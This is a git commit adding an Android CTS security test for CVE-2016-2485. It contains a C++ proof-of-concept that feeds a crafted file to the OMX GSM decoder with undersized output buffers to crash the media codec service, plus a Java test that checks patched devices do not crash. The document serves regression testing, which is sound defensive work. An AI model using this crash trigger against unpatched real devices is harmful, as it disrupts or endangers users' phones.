CTS test for Android Security b/27793367
Bug: 27793367
Bug: 72507922
Test: Ran the new testcase on android-8.0.0_r2 with/without patch
Change-Id: Ia1b619bd7e389de8a8f440060ceebcbba7304882
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 1581fbe..f0f31e5 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -66,6 +66,7 @@
<!--__________________-->
<!-- Bulletin 2016-06 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2016-2485->/data/local/tmp/CVE-2016-2485" />
<option name="push" value="CVE-2016-2482->/data/local/tmp/CVE-2016-2482" />
<!--__________________-->
diff --git a/hostsidetests/securitybulletin/res/cve_2016_2485.raw b/hostsidetests/securitybulletin/res/cve_2016_2485.raw
new file mode 100644
index 0000000..ee7c95a
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2016_2485.raw
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.bp
new file mode 100644
index 0000000..c2b7636
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.bp
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2016-2485",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ multilib: {
+ lib32: {
+ srcs: [
+ ":cts_hostsidetests_securitybulletin_omxutils",
+ ],
+ shared_libs: [
+ "libstagefright",
+ "libbinder",
+ "libmedia_omx",
+ "libutils",
+ "liblog",
+ "libstagefright_foundation",
+ "libcutils",
+ "libhidlbase",
+ "libhidlmemory",
+ "android.hidl.allocator@1.0",
+ "android.hardware.media.omx@1.0",
+ ],
+ suffix: "32",
+ },
+ lib64: {
+ suffix: "64",
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp
new file mode 100644
index 0000000..75f8b82
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp
@@ -0,0 +1,183 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <stdlib.h>
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+#include "../includes/omxUtils.h"
+#include "hidlmemory/mapping.h"
+#include <fstream>
+
+#define FILE_SIZE UINT16_MAX + 1
+#define INPUT_BUFFER_SIZE 16380
+#define NUMBER_OF_BUFFERS 4
+#define VULNERABLE_SIZE 4
+#define SLEEP_TIME_IN_SECONDS 1
+#define EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_IN_SEC 30
+
+extern int numCallbackEmptyBufferDone;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
+ int BufferSize) {
+ buffers->clear();
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ int err = omxUtilsGetParameter(portIndex, &def);
+ omxExitOnError(err);
+ for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+ Buffer buffer;
+ buffer.mFlags = 0;
+ bool success;
+ auto transStatus = mAllocator->allocate(
+ BufferSize, [&success, &buffer](bool s, hidl_memory const &m) {
+ success = s;
+ buffer.mHidlMemory = m;
+ });
+ omxExitOnError(!transStatus.isOk());
+ omxExitOnError(!success);
+ buffers->push(buffer);
+ }
+ return OK;
+}
+#endif /* _32_BIT */
+
+int main(int argc, char *argv[]) {
+ (void)argc;
+ (void)argv;
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+ std::ifstream file(argv[1], std::ifstream::binary);
+ long size = FILE_SIZE;
+ uint8_t *buffer = new uint8_t[size];
+ if (!buffer) {
+ file.close();
+ return EXIT_FAILURE;
+ }
+ file.read((char *)buffer, size);
+
+ /* Initialize OMX for the specified codec */
+ status_t ret = omxUtilsInit((char *)"OMX.google.gsm.decoder");
+ omxExitOnError(ret);
+
+ /* Set OMX input port parameters */
+ OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ if (!params) {
+ file.close();
+ delete[] buffer;
+ return EXIT_FAILURE;
+ }
+ params->nPortIndex = OMX_UTILS_IP_PORT;
+ params->nBufferSize = INPUT_BUFFER_SIZE;
+ params->nBufferCountActual = params->nBufferCountMin = NUMBER_OF_BUFFERS;
+ omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+
+ /* Prepare input port buffers */
+ int inMemSize = params->nBufferCountActual * params->nBufferSize;
+ int inBufferCnt = params->nBufferCountActual;
+ int inBufferSize = inMemSize / inBufferCnt;
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+ /* Set OMX output port parameters */
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+ params->nPortIndex = OMX_UTILS_OP_PORT;
+ params->nBufferSize = VULNERABLE_SIZE;
+ params->nBufferCountActual = params->nBufferCountMin = NUMBER_OF_BUFFERS;
+ omxUtilsSetParameter(OMX_UTILS_OP_PORT, params);
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+
+ /* Prepare output port buffers */
+ int outBufferCnt = params->nBufferCountActual;
+ int outBufferSize = VULNERABLE_SIZE;
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+ Vector<Buffer> inputBuffers;
+ Vector<Buffer> outputBuffers;
+ /* Register input buffers with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
+ for (int i = 0; i < inBufferCnt; ++i) {
+ inBufferId[i] = inputBuffers[i].mID;
+ sp<android::hidl::memory::V1_0::IMemory> mem =
+ mapMemory(inputBuffers[i].mHidlMemory);
+ memcpy((void *)mem->getPointer(), (void *)(buffer + INPUT_BUFFER_SIZE * i),
+ INPUT_BUFFER_SIZE);
+ omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory,
+ &inBufferId[i]);
+ }
+
+ /* Register output buffers with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize);
+ for (int i = 0; i < outBufferCnt; ++i) {
+ outBufferId[i] = outputBuffers[i].mID;
+ omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory,
+ &outBufferId[i]);
+ }
+
+ /* Do OMX State change to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State change to Executing */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+ for (int i = 0; i < inBufferCnt; ++i) {
+ OMXBuffer omxBuf(0, inBufferSize);
+ omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
+ }
+ for (int i = 0; i < outBufferCnt; ++i) {
+ OMXBuffer omxBuf(0, outBufferSize);
+ omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
+ }
+ /* Do OMX State change to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ time_t currentTime = time(NULL);
+ time_t endTime = currentTime + EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_IN_SEC;
+ while (currentTime < endTime) {
+ sleep(SLEEP_TIME_IN_SECONDS);
+ if (numCallbackEmptyBufferDone == inBufferCnt) {
+ break;
+ }
+ currentTime = time(NULL);
+ }
+ if (numCallbackEmptyBufferDone != inBufferCnt) {
+ free(params);
+ file.close();
+ delete[] buffer;
+ return EXIT_FAILURE;
+ }
+ /* Free input and output buffers */
+ for (int i = 0; i < inBufferCnt; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+ }
+ for (int i = 0; i < outBufferCnt; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
+ }
+
+ /* Free OMX resources */
+ omxUtilsFreeNode();
+ free(params);
+ file.close();
+ delete[] buffer;
+#endif /* _32_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index 8e2cbca..15f7f81 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -45,6 +45,20 @@
******************************************************************************/
/**
+ * b/27793367
+ * Vulnerability Behaviour: SIGSEGV in media.codec
+ */
+ @SecurityTest(minPatchLevel = "2016-06")
+ @Test
+ public void testPocCVE_2016_2485() throws Exception {
+ String inputFiles[] = {"cve_2016_2485.raw"};
+ String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-2485",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice(),
+ processPatternStrings);
+ }
+
+ /**
* b/141890807
* Vulnerability Behaviour: EXIT_VULNERABLE (113)
*/